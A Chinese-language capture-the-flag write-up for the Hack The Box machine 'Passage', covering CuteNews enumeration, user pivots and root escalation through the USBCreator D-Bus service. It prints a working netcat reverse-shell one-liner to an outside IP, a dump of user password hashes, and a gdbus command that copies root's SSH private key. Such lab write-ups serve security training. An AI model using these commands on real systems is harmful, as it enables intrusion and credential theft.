HTB-Passage
HTB-Passage
- 信息收集
- 80端口
- www-data
- www-data -> paul
- paul -> nadav
- nadav -> root
信息收集
80端口
powered by CuteNews。
目标似乎拥有WAF\IDS,对其进行目录扫描有点困难。并且第一篇贴纸就说明了开启了Fail2Ban。
可以通过几篇文章收集几个用户及其邮箱。
Kim Swif - kim@example.com
Admin - nadav@passage.com
Sid Meier - sid@example.com
Paul Coles - paul@passage.com
James - james@example.com
主界面有一个RSS。
点进去后url变成了/CuteNews/rss.php。
跳转到上一级出现了CuteNews的管理系统界面。
并且知道了CuteNews的具体版本是2.1.2。
简单搜索可以知道有许多可以利用的地方。
www-data
成功反弹shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.31 4443 >/tmp/f
一般来说登陆界面都会和数据库挂钩,所以我们去检查有没有相关的数据库文件。但是在查看CuteNews的安装教程发现了下面这句话。
因为CuteNews是一个轻量化的CMS数据都存储在文件中,所以我们不必创建或配置数据库即可使用。于是我们的重心会稍微偏向于寻找一些数据文件。在/var/www/html/CuteNews/cdata/users
目录中找到一个lines文件,lines文件内容如下。
一堆base64和access denied。将base64拿出来解码看看。
能够看到许多用户的hash都在里面。
admin:7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
sid-meier:4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
paul-coles:e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
kim-swift:f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
egre55:4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
www-data -> paul
paul-coles的密码疑似atlanta1。
paul -> nadav
在paul的主目录下有.ssh文件,获取id_rsa后通过ssh登录(原谅我脑子抽了忘了我有paul的密码),并且发现公钥末尾居然是nadav。
nadav -> root
虽然nadav拥有一些分组,但是我们没有nadav的密码。
所以现在要么看看nadav的hash有没有办法破解,要么继续收集一下信息。
去看看.viminfo里面提及到的两个文件/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf和/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf。
/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
与 sudo 等传统的特权授权程序不同,PolKit 不会向整个会话授予 root 权限,而只向相关的操作授予该权限。
并且在.viminfo中能看到这几句。将原来的AdminIdentities=unix-group:root改为了AdminIdentities=unix-group:sudo。
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&AdminIdentities=unix-group:root
# Last Substitute String:
$AdminIdentities=unix-group:sudo
# Command Line History (newest to oldest):
:wq
:%s/AdminIdentities=unix-group:root/AdminIdentities=unix-group:sudo/g
# Search String History (newest to oldest):
? AdminIdentities=unix-group:root
分别对其进行搜索。
可以以root身份用任意内容复写文件
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true
使用命令将root的.ssh/id_rsa覆写到tmp里面。
然后稍加处理就可以以root登录了。